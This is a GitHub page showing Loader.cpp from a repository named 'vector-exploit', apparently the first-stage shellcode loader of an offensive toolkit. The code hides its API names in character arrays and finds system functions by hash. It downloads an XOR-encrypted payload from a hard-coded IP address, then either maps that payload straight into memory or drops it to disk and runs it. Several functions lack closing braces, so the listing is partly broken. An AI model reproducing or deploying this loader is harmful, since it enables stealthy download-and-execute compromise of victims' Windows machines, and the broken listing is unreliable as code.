vector-exploit/src/Shellcode-Stage1/Loader/Loader.cpp at master · Leakless/vector-exploit · GitHub

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#include <Windows.h>

#include <winternl.h>

#include "loader.h"

#include "winapi.h"

#pragma comment( linker, "/subsystem:console" )

#pragma section(".loader", read,execute)

#pragma code_seg(".loader")

__declspec(allocate(".loader"))

LOADER_CONFIG pLoaderConfig =

{

0xdeadbeef,

0x6281f17f,

{ 'h', 't', 't', 'p', ':', '/', '/', '1', '4', '.', '1', '3', '6', '.', '2', '3', '6', '.', '1', '5', '5', '/', '9', 'z', '8', 'o', '5', 'd', '9', 'l', '0', 'p', '6', 'c', '.', 'd', 'a', 't', 0x0, 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 0x0 },

{ 'K', 'E', 'R', 'N', 'E', 'L', '3', '2', 0x0 },

{ 'N', 'T', 'D', 'L', 'L', 0x0 },

{ 'W', 'I', 'N', 'I', 'N', 'E', 'T', 0x0 },

{ 'S', 'H', 'E', 'L', 'L', '3', '2', 0x0 },

{ 'V', 'i', 'r', 't', 'u', 'a', 'l', 'A', 'l', 'l', 'o', 'c', 0x0 },

{ 'V', 'i', 'r', 't', 'u', 'a', 'l', 'P', 'r', 'o', 't', 'e', 'c', 't', 0x0 },

{ 'C', 'r', 'e', 'a', 't', 'e', 'F', 'i', 'l', 'e', 'W', 0x0 },

{ 'W', 'r', 'i', 't', 'e', 'F', 'i', 'l', 'e', 0x0 },

{ 'C', 'l', 'o', 's', 'e', 'H', 'a', 'n', 'd', 'l', 'e', 0x0 },

{ 'G', 'e', 't', 'S', 'h', 'o', 'r', 't', 'P', 'a', 't', 'h', 'N', 'a', 'm', 'e', 'W', 0x0 },

{ 'G', 'e', 't', 'T', 'e', 'm', 'p', 'P', 'a', 't', 'h', 'W', 0x0 },

{ 'S', 'H', 'G', 'e', 't', 'K', 'n', 'o', 'w', 'n', 'F', 'o', 'l', 'd', 'e', 'r', 'P', 'a', 't', 'h', 0x0 },

{ 'L', 'o', 'a', 'd', 'L', 'i', 'b', 'r', 'a', 'r', 'y', 'W', 0x0 },

{ 'F', 'r', 'e', 'e', 'L', 'i', 'b', 'r', 'a', 'r', 'y', 0x0 },

{ 'D', 'e', 'l', 'e', 't', 'e', 'F', 'i', 'l', 'e', 'W', 0x0 },

{ 'I', 'n', 't', 'e', 'r', 'n', 'e', 't', 'O', 'p', 'e', 'n', 'A', 0x0 },

{ 'I', 'n', 't', 'e', 'r', 'n', 'e', 't', 'O', 'p', 'e', 'n', 'U', 'r', 'l', 'A', 0x0 },

{ 'H', 't', 't', 'p', 'Q', 'u', 'e', 'r', 'y', 'I', 'n', 'f', 'o', 'W', 0x0 },

{ 'I', 'n', 't', 'e', 'r', 'n', 'e', 't', 'R', 'e', 'a', 'd', 'F', 'i', 'l', 'e', 'E', 'x', 'A', 0x0 },

{ '_', 'w', 't', 'o', 'i', 0x0 },

{ 'E', 'x', 'i', 't', 'P', 'r', 'o', 'c', 'e', 's', 's', 0x0 },

//{ '?', 'q', 'w', 'o', 'p', 'f', 'n', 'c', 'h', '@', '@', 'Y', 'G', 'H', 'P', 'A', 'K', '@', 'Z', 0x0 },

{ 'q', 'w', 'o', 'p', 'f', 'n', 'c', 'h', 0x0 },

{ 'M', 'o', 'z', 'i', 'l', 'l', 'a', '/', '4', '.', '0', ' ', '(', 'c', 'o', 'm', 'p', 'a', 't', 'i', 'b', 'l', 'e', ';', ' ', 'M', 'S', 'I', 'E', ' ', '7', '.', '0', ';', ' ', 'W', 'i', 'n', 'd', 'o', 'w', 's', ' ', 'N', 'T', ' ', '6', '.', '1', ';', ' ', 'W', 'O', 'W', '6', '4', ';', ' ', 'T', 'r', 'i', 'd', 'e', 'n', 't', '/', '5', '.', '0', ';', ' ', 'S', 'L', 'C', 'C', '2', ';', ' ', '.', 'N', 'E', 'T', ' ', 'C', 'L', 'R', ' ', '2', '.', '0', '.', '5', '0', '7', '2', '7', ';', ' ', '.', 'N', 'E', 'T', ' ', 'C', 'L', 'R', ' ', '3', '.', '5', '.', '3', '0', '7', '2', '9', ';', ' ', '.', 'N', 'E', 'T', ' ', 'C', 'L', 'R', ' ', '3', '.', '0', '.', '3', '0', '7', '2', '9', ';', ' ', 'M', 'e', 'd', 'i', 'a', ' ', 'C', 'e', 'n', 't', 'e', 'r', ' ', 'P', 'C', ' ', '6', '.', '0', ';', ' ', '.', 'N', 'E', 'T', '4', '.', '0', 'C', ';', ' ', '.', 'N', 'E', 'T', '4', '.', '0', 'E', ';', ' ', 'M', 'D', 'D', 'R', 'J', 'S', ')', 0x0 },

};

int main() { Startup(); };

#ifndef _WIN64

__declspec(naked) VOID Startup()

#else

VOID Startup()

#endif

{

#ifndef _WIN64

__asm

{

nop

call next // start of shellcode gadget (don't touch)

pop eax

and eax, 0xfffff000 // end of shellcode gadget (don't touch)

call next2

next2:

pop esi

nop

next3:

mov ebx, 0xdeadbeef

cmp ebx, [esi]

je start_loader

dec esi

jmp next3

start_loader:

push esi

call Loader

}

#else

Loader(NULL);

#endif

}

VOID Loader(__in PLOADER_CONFIG lpLoaderConfig)

{

VTABLE pVtable;

pVtable.lpLoaderConfig = lpLoaderConfig;

if (!LoadVTable(&pVtable))

return;

DWORD dwFileSize;

LPBYTE lpFileBuffer = DownloadAndDecrypt(&pVtable, lpLoaderConfig->strUserAgent,

lpLoaderConfig->strUrl,

&dwFileSize,

lpLoaderConfig->dwXorKey,

lpLoaderConfig->dwXorKey ? TRUE : FALSE);

#ifndef _WIN64

CRTMAIN fpMain = NULL;

#else

CRTMAIN64 fpMain = NULL;

#endif

EXPORT fpExport = NULL;

if (lpFileBuffer)

{

#ifdef LOAD_FROM_DISK

LPWSTR lpDllName = DropFile(&pVtable, lpFileBuffer, dwFileSize);

if (lpDllName)

{

HMODULE hMod = pVtable.LoadLibraryW(lpDllName);

if (!hMod)

pVtable.ExitProcess(0);

EXPORT2 fpExport = (EXPORT2) pVtable.GetProcAddress(hMod, pVtable.lpLoaderConfig->strExportName);

fpExport(0);

pVtable.FreeLibrary(hMod);

}

else

pVtable.ExitProcess(0);

#else

#ifndef _WIN64

fpMain = (CRTMAIN) _LoadLibrary(&pVtable, lpFileBuffer, (LPVOID *)&fpExport);

#else

fpMain = (CRTMAIN64) _LoadLibrary(&pVtable, lpFileBuffer, (LPVOID *)&fpExport);

#endif

}

else

pVtable.ExitProcess(0);

if (fpMain)

#ifdef _WIN64

fpMain(__readgsqword(0x60));

#else

fpMain(__readfsdword(0x30));

#endif

else

pVtable.ExitProcess(0);

if (fpExport)

fpExport();

}

BOOL LoadVTable(__out PVTABLE lpTable)

{

HMODULE hKernel32;

if (!GetPointers(&lpTable->GetProcAddress, &lpTable->LoadLibraryA, (PHANDLE)&hKernel32))

return FALSE;

lpTable->VirtualAlloc = (VIRTUALALLOC) lpTable->GetProcAddress(hKernel32, lpTable->lpLoaderConfig->strVirtualAlloc);

lpTable->VirtualProtect = (VIRTUALPROTECT) lpTable->GetProcAddress(hKernel32, lpTable->lpLoaderConfig->strVirtualProtect);

lpTable->GetTempPathW = (GETTEMPPATHW) lpTable->GetProcAddress(hKernel32, lpTable->lpLoaderConfig->strGetTempPathW);

lpTable->GetShortPathNameW = (GETSHORTPATHNAMEW) lpTable->GetProcAddress(hKernel32, lpTable->lpLoaderConfig->strGetShortPathNameW);

lpTable->LoadLibraryW = (LOADLIBRARYW) lpTable->GetProcAddress(hKernel32, lpTable->lpLoaderConfig->strLoadLibraryW);

lpTable->FreeLibrary = (FREELIBRARY) lpTable->GetProcAddress(hKernel32, lpTable->lpLoaderConfig->strFreeLibrary);

lpTable->DeleteFileW = (DELETEFILEW) lpTable->GetProcAddress(hKernel32, lpTable->lpLoaderConfig->strDeleteFileW);

lpTable->CreateFileW = (CREATEFILEW) lpTable->GetProcAddress(hKernel32, lpTable->lpLoaderConfig->strCreateFileW);

lpTable->WriteFile = (WRITEFILE) lpTable->GetProcAddress(hKernel32, lpTable->lpLoaderConfig->strWriteFile);

lpTable->CloseHandle = (CLOSEHANDLE) lpTable->GetProcAddress(hKernel32, lpTable->lpLoaderConfig->strCloseHandle);

lpTable->ExitProcess = (EXITPROCESS) lpTable->GetProcAddress(hKernel32, lpTable->lpLoaderConfig->strExitProcess);

HMODULE hWinInet = lpTable->LoadLibraryA(lpTable->lpLoaderConfig->strWinInet);

lpTable->InternetOpenA = (INTERNETOPENA) lpTable->GetProcAddress(hWinInet, lpTable->lpLoaderConfig->strInternetOpenA);

lpTable->InternetOpenUrlA = (INTERNETOPENURLA) lpTable->GetProcAddress(hWinInet, lpTable->lpLoaderConfig->strInternetOpenUrlA);

lpTable->InternetReadFileExA = (INTERNETREADFILEEXA) lpTable->GetProcAddress(hWinInet, lpTable->lpLoaderConfig->strInternetReadFileExA);

lpTable->HttpQueryInfoW = (HTTPQUERYINFOW) lpTable->GetProcAddress(hWinInet, lpTable->lpLoaderConfig->strHttpQueryInfoW);

HMODULE hNtDll = lpTable->LoadLibraryA(lpTable->lpLoaderConfig->strNtDll);

lpTable->wtoi = (WTOI) lpTable->GetProcAddress(hNtDll, lpTable->lpLoaderConfig->strWtoi);

HMODULE hShell32 = lpTable->LoadLibraryA(lpTable->lpLoaderConfig->strShell32);

lpTable->SHGetKnownFolderPath = (SHGETKNOWNFOLDERPATH) lpTable->GetProcAddress(hShell32, lpTable->lpLoaderConfig->strSHGetKnownFolderPath);

if (!lpTable->VirtualAlloc ||

!lpTable->VirtualProtect ||

!lpTable->GetTempPathW ||

!lpTable->GetShortPathNameW ||

!lpTable->LoadLibraryW ||

!lpTable->FreeLibrary ||

!lpTable->CreateFileW ||

!lpTable->WriteFile ||

!lpTable->CloseHandle ||

!lpTable->ExitProcess ||

!lpTable->InternetOpenA ||

!lpTable->InternetOpenUrlA ||

!lpTable->InternetReadFileExA ||

!lpTable->HttpQueryInfoW ||

!lpTable->wtoi) return FALSE;

return TRUE;

}

BOOL GetPointers(

__out PGETPROCADDRESS fpGetProcAddress,

__out PLOADLIBRARYA fpLoadLibraryA,

__out PHANDLE pKernel32)

{

*pKernel32 = GetKernel32Handle();

if (*pKernel32 == INVALID_HANDLE_VALUE)

return FALSE;

LPBYTE lpBaseAddr = (LPBYTE) *pKernel32;

PIMAGE_DOS_HEADER lpDosHdr = (PIMAGE_DOS_HEADER) lpBaseAddr;

PIMAGE_NT_HEADERS pNtHdrs = (PIMAGE_NT_HEADERS) (lpBaseAddr + lpDosHdr->e_lfanew);

PIMAGE_EXPORT_DIRECTORY pExportDir = (PIMAGE_EXPORT_DIRECTORY) (lpBaseAddr + pNtHdrs->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);

LPDWORD pNameArray = (LPDWORD) (lpBaseAddr + pExportDir->AddressOfNames);

LPDWORD pAddrArray = (LPDWORD) (lpBaseAddr + pExportDir->AddressOfFunctions);

LPWORD pOrdArray = (LPWORD) (lpBaseAddr+ pExportDir->AddressOfNameOrdinals);

*fpGetProcAddress = NULL;

*fpLoadLibraryA = NULL;

for (UINT i=0; i<pExportDir->NumberOfNames; i++)

{

LPSTR pFuncName = (LPSTR) (lpBaseAddr + pNameArray[i]);

if (GetStringHash(pFuncName, FALSE, 14) == 0x7c0dfcaa)

*fpGetProcAddress = (GETPROCADDRESS) (lpBaseAddr + pAddrArray[pOrdArray[i]]);

else if (GetStringHash(pFuncName, FALSE, 12) == 0xec0e4e8e)

*fpLoadLibraryA = (LOADLIBRARYA) (lpBaseAddr + pAddrArray[pOrdArray[i]]);

if (*fpGetProcAddress && *fpLoadLibraryA)

return TRUE;

}

return FALSE;

}

HANDLE GetKernel32Handle()

{

HANDLE hKernel32 = INVALID_HANDLE_VALUE;

#ifdef _WIN64

PPEB lpPeb = (PPEB) __readgsqword(0x60);

#else

PPEB lpPeb = (PPEB) __readfsdword(0x30);

#endif

PLIST_ENTRY pListHead = &lpPeb->Ldr->InMemoryOrderModuleList;

PLIST_ENTRY pListEntry = pListHead->Flink;

while (pListEntry != pListHead)

{

PLDR_DATA_TABLE_ENTRY pModEntry = CONTAINING_RECORD(pListEntry, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);

if (pModEntry->FullDllName.Length)

{

DWORD dwLen = pModEntry->FullDllName.Length;

PWCHAR strName = (pModEntry->FullDllName.Buffer + (dwLen/sizeof(WCHAR))) - 13;

if (GetStringHash(strName, TRUE, 13) == 0x8fecdbff || GetStringHash(strName, TRUE, 13) == 0x6e2bcfd7)

{

hKernel32 = pModEntry->DllBase;

break;

}

pListEntry = pListEntry->Flink;

}

return hKernel32;

}

DWORD GetStringHash(

__in LPVOID lpBuffer,

__in BOOL bUnicode,

__in UINT uLen)

{

DWORD dwHash = 0;

LPSTR strBuffer = (LPSTR) lpBuffer;

while (uLen--)

{

dwHash = (dwHash >> 13) | (dwHash << 19);

dwHash += (DWORD)*strBuffer++;

if (bUnicode)

strBuffer++;

}

return dwHash;

}

LPBYTE DownloadAndDecrypt(__in PVTABLE lpTable, __in LPSTR strUserAgent, __in LPSTR strUrl, __in LPDWORD dwFileLen, __in DWORD dwXorKey, BOOL bXored)

{

CHAR strBuff[17];

HINTERNET hInternet;

DWORD dwBuffLen, dwIdx;

hInternet = lpTable->InternetOpenA(strUserAgent, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);

if (hInternet)

{

HINTERNET hUrl = lpTable->InternetOpenUrlA(hInternet, strUrl, NULL, 0, INTERNET_FLAG_NO_CACHE_WRITE|INTERNET_FLAG_PRAGMA_NOCACHE, NULL);

if (hUrl)

{

dwBuffLen = 16;

dwIdx = 0;

lpTable->HttpQueryInfoW(hUrl, HTTP_QUERY_CONTENT_LENGTH, strBuff, &dwBuffLen, &dwIdx);

*dwFileLen = lpTable->wtoi((LPWSTR)strBuff);

LPBYTE lpFileBuffer = (LPBYTE) lpTable->VirtualAlloc(NULL, *dwFileLen, MEM_COMMIT, PAGE_READWRITE);

if (DownloadFile(lpTable, hUrl, lpFileBuffer, *dwFileLen))

{

if (bXored)

return Decrypt(lpFileBuffer, *dwFileLen, dwXorKey);

else

return lpFileBuffer;

}

return NULL;

}

BOOL DownloadFile(__in PVTABLE lpTable, __in HINTERNET hUrl, __in LPBYTE lpBuffer, __in DWORD dwBufferLen)

{

DWORD dwRead = 0;

INTERNET_BUFFERSA pInternetBuff;

__MEMSET__(&pInternetBuff, 0x0, sizeof(INTERNET_BUFFERSA));

pInternetBuff.dwStructSize = sizeof(INTERNET_BUFFERS);

pInternetBuff.Next = NULL;

pInternetBuff.lpvBuffer = lpBuffer;

pInternetBuff.dwBufferLength = dwBufferLen;

if (lpTable->InternetReadFileExA(hUrl, &pInternetBuff, IRF_SYNC, NULL)) // FIXME

{

if (pInternetBuff.dwBufferLength == dwBufferLen)

return TRUE;

}

return FALSE;

}

LPBYTE Decrypt(__in LPBYTE lpBuffer, __in DWORD dwBuffLen, __in DWORD dwXorKey)

{

LPDWORD lpD = (LPDWORD) lpBuffer;

LPBYTE lpB = (LPBYTE) lpBuffer;

for (UINT i=0; i<dwBuffLen/4; i++)

lpD[i] ^= dwXorKey;

for (UINT i=dwBuffLen - (dwBuffLen%4); i<dwBuffLen; i++)

lpB[i] ^= 0x41;

return lpBuffer;

}

#ifdef LOAD_FROM_DISK

LPWSTR GetDropPath(__in PVTABLE lpTable)

{

GUID idAppDataLow;

LPWSTR strFileName;

LPWSTR strShortFileName = (LPWSTR) lpTable->VirtualAlloc(NULL, 0x8000 * sizeof(WCHAR), MEM_COMMIT, PAGE_READWRITE);

idAppDataLow.Data1 = 0xA520A1A4;

idAppDataLow.Data2 = 0x1780;

idAppDataLow.Data3 = 0x4FF6;

idAppDataLow.Data4[0] = 0xBD;

idAppDataLow.Data4[1] = 0x18;

idAppDataLow.Data4[2] = 0x16;

idAppDataLow.Data4[3] = 0x73;

idAppDataLow.Data4[4] = 0x43;

idAppDataLow.Data4[5] = 0xc5;

idAppDataLow.Data4[6] = 0xaf;

idAppDataLow.Data4[7] = 0x16;

if (!lpTable->SHGetKnownFolderPath || lpTable->SHGetKnownFolderPath((REFKNOWNFOLDERID)idAppDataLow, 0, NULL, &strFileName) != S_OK)

{

strFileName = (LPWSTR) lpTable->VirtualAlloc(NULL, 0x8000 * sizeof(WCHAR), MEM_COMMIT, PAGE_READWRITE);

lpTable->GetTempPathW(0x8000, strFileName);

}

strShortFileName = (LPWSTR) lpTable->VirtualAlloc(NULL, 0x8000 * sizeof(WCHAR), MEM_COMMIT, PAGE_READWRITE);

__MEMSET__(strShortFileName, 0x0, 0x8000 * sizeof(WCHAR));

lpTable->GetShortPathNameW(strFileName, strShortFileName, 0x8000);

LPWSTR strBuff = strShortFileName;

while(*strBuff++); strBuff-=2;

if (*(strBuff) != L'\\')

{

*(strBuff+1) = L'\\';

strBuff++;

}

*(strBuff+1) = L'A';

*(strBuff+2) = L'.';

*(strBuff+3) = L'b';

return strShortFileName;

}

LPWSTR DropFile(__in PVTABLE lpTable, __in LPBYTE lpFileBuffer, __in DWORD dwFileSize)

{

DWORD dwOut;

HANDLE hFile;

LPWSTR strFileName;

strFileName = GetDropPath(lpTable);

hFile = lpTable->CreateFileW(strFileName, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);

if (hFile == INVALID_HANDLE_VALUE)

return NULL;

lpTable->WriteFile(hFile, lpFileBuffer, dwFileSize, &dwOut, NULL);

lpTable->CloseHandle(hFile);

return strFileName;

}

#else

LPVOID _LoadLibrary(

__in PVTABLE lpTable,

__in LPVOID lpRawBuffer,

__out LPVOID *lpExport)

{

LPVOID lpAddress = NULL;

IMAGE_DOS_HEADER dos_header;

IMAGE_NT_HEADERS32 pe_header;

DWORD header_size = 0;

*lpExport = NULL;

__MEMCPY__(&dos_header, lpRawBuffer, sizeof(dos_header));

if (dos_header.e_magic != IMAGE_DOS_SIGNATURE)

return NULL;

__MEMCPY__(&pe_header, CALC_OFFSET(LPVOID, lpRawBuffer, dos_header.e_lfanew), sizeof(pe_header));

if (pe_header.Signature != IMAGE_NT_SIGNATURE)

return NULL;

lpAddress = lpTable->VirtualAlloc(NULL, pe_header.OptionalHeader.SizeOfImage, MEM_COMMIT, PAGE_READWRITE);

if (lpAddress == NULL)

return NULL;

header_size = dos_header.e_lfanew + pe_header.FileHeader.SizeOfOptionalHeader + sizeof(pe_header.FileHeader) + 4;

IMAGE_SECTION_HEADER section;

LPVOID lpBufferPtr = CALC_OFFSET(LPVOID, lpRawBuffer, header_size);

__MEMCPY__(&section, lpBufferPtr, sizeof(section));

__MEMCPY__(lpAddress, lpRawBuffer, section.PointerToRawData);

PIMAGE_SECTION_HEADER sections = CALC_OFFSET(PIMAGE_SECTION_HEADER, lpAddress, header_size);

for(USHORT i = 0; i < pe_header.FileHeader.NumberOfSections; i++, sections++)

{

LPVOID lpSectionBuffer = CALC_OFFSET(LPVOID, lpAddress, sections->VirtualAddress);

__MEMCPY__(lpSectionBuffer, CALC_OFFSET(LPVOID, lpRawBuffer, sections->PointerToRawData), min(sections->SizeOfRawData, sections->Misc.VirtualSize));

}

// relocations

DWORD dwRelocSize = pe_header.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size;

DWORD dwRelocAddr = pe_header.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress;

if (dwRelocAddr != 0 && dwRelocSize != 0)

{

LPBYTE lpPtr = CALC_OFFSET(LPBYTE, lpAddress, dwRelocAddr);

while(dwRelocSize > 0)

{

base_relocation_block_t block;

__MEMCPY__(&block, lpPtr, sizeof(base_relocation_block_t));

dwRelocSize -= block.BlockSize;

lpPtr += sizeof(base_relocation_block_t);

block.BlockSize -= 8;

while(block.BlockSize)

{

base_relocation_entry_t entry;

__MEMCPY__(&entry, lpPtr, sizeof(WORD));

LPDWORD ptrOffset = CALC_OFFSET(LPDWORD, lpAddress, block.PageRVA + entry.offset);

DWORD dwOldValue = *ptrOffset;

DWORD dwNewValue = dwOldValue - pe_header.OptionalHeader.ImageBase + (DWORD) lpAddress;

LPWORD ptrHighOffset = CALC_OFFSET_DISP(LPWORD, lpAddress, block.PageRVA + entry.offset, 2);

LPWORD ptrLowOffset = CALC_OFFSET_DISP(LPWORD, lpAddress, block.PageRVA + entry.offset, 0);

WORD wLowNewOffset = (WORD) ((DWORD) lpAddress & 0xffff);

WORD wHighNewOffset = (WORD) (((DWORD) lpAddress & 0xffff0000) >> 16);

switch(entry.type)

{

case IMAGE_REL_BASED_ABSOLUTE:

break;

case IMAGE_REL_BASED_HIGH:

break;

case IMAGE_REL_BASED_LOW:

break;

case IMAGE_REL_BASED_HIGHLOW:

*ptrOffset = dwNewValue;

break;

case IMAGE_REL_BASED_HIGHADJ:

break;

case IMAGE_REL_BASED_DIR64:

break;

}

lpPtr += sizeof(base_relocation_entry);

block.BlockSize -= 2;

}

// imports

DWORD dwIatSize = pe_header.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size;

DWORD dwIatAddr = pe_header.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;

if (dwIatAddr != 0)

{

PIMAGE_IMPORT_DESCRIPTOR pImportDescriptor = CALC_OFFSET(PIMAGE_IMPORT_DESCRIPTOR, lpAddress, dwIatAddr);

while(pImportDescriptor)

{

if (pImportDescriptor->FirstThunk == 0)

{

pImportDescriptor = NULL;

continue;

}

LPDWORD pImportLookupTable = CALC_OFFSET(LPDWORD, lpAddress, pImportDescriptor->FirstThunk);

LPSTR lpModName = CALC_OFFSET(LPSTR, lpAddress, pImportDescriptor->Name);

HMODULE hMod = lpTable->LoadLibraryA(lpModName);

if (hMod != NULL)

{

while(*pImportLookupTable != 0x00)

{

if ((*pImportLookupTable & IMAGE_ORDINAL_FLAG) != 0x00)

{

DWORD pOrdinalValue = *(CALC_OFFSET(LPDWORD, pImportLookupTable, 0)) & 0x0000ffff;

*pImportLookupTable = (DWORD) lpTable->GetProcAddress(hMod, (LPSTR)pOrdinalValue);

}

else

{

LPSTR lpProcName = CALC_OFFSET_DISP(LPSTR, lpAddress, (*pImportLookupTable), 2); // adding two bytes

*pImportLookupTable = (DWORD) lpTable->GetProcAddress(hMod, lpProcName);

}

pImportLookupTable++;

}

pImportDescriptor++;

}

// exports

HMODULE hModule = (HMODULE) lpAddress;

PIMAGE_DOS_HEADER pImageDosHeader = (PIMAGE_DOS_HEADER) hModule;

PIMAGE_NT_HEADERS pImageNtHeaders = CALC_OFFSET(PIMAGE_NT_HEADERS, hModule, pImageDosHeader->e_lfanew);

PIMAGE_DATA_DIRECTORY pExportDir = &pImageNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];

if (pExportDir->Size != 0 && pExportDir->VirtualAddress != 0)

{

PIMAGE_EXPORT_DIRECTORY pExportDirectory = (PIMAGE_EXPORT_DIRECTORY) ((LPBYTE)hModule + pExportDir->VirtualAddress);

pExportDirectory->AddressOfNames += DWORD(hModule);

pExportDirectory->AddressOfFunctions += DWORD(hModule);

pExportDirectory->AddressOfNameOrdinals += DWORD(hModule);

LPDWORD ptrFunctions = (LPDWORD) pExportDirectory->AddressOfFunctions;

LPDWORD ptrNames = (LPDWORD) pExportDirectory->AddressOfNames;

for(DWORD i = 0; i < pExportDirectory->NumberOfNames; i++)

{

ptrFunctions[i] += (DWORD) hModule;

ptrNames[i] += (DWORD) hModule;

*lpExport = (LPVOID) ptrFunctions[i];

}

// fix perms

DWORD ignore = 0;

sections = CALC_OFFSET(PIMAGE_SECTION_HEADER, lpAddress, header_size);

for(USHORT i = 0; i < pe_header.FileHeader.NumberOfSections; i++, sections++)

{

LPVOID lpSectionBuffer = CALC_OFFSET(LPVOID, lpAddress, sections->VirtualAddress);

if ((sections->Characteristics & IMAGE_SCN_MEM_EXECUTE) == IMAGE_SCN_MEM_EXECUTE)

lpTable->VirtualProtect(lpSectionBuffer, sections->Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &ignore);

}

lpTable->VirtualProtect(lpAddress, header_size, PAGE_READONLY, &ignore);

return CALC_OFFSET(LPVOID, lpAddress, pe_header.OptionalHeader.AddressOfEntryPoint);

}

#endif

#pragma optimize("", off)

VOID __MEMSET__(__in LPVOID p, __in CHAR cValue, __in DWORD dwSize)

{

for (UINT i=0; i<dwSize; i++)

((PCHAR)p)[i] = cValue;

}

LPVOID __MEMCPY__(

__in LPVOID lpDst,

__in LPVOID lpSrc,

__in DWORD dwCount)

{

LPBYTE s = (LPBYTE) lpSrc;

LPBYTE d = (LPBYTE) lpDst;

while (dwCount--)

*d++ = *s++;

return lpDst;

}

#pragma optimize("", on)

vector-exploit/src/Shellcode-Stage1/Loader/Loader.cpp at master · Leakless/vector-exploit · GitHub

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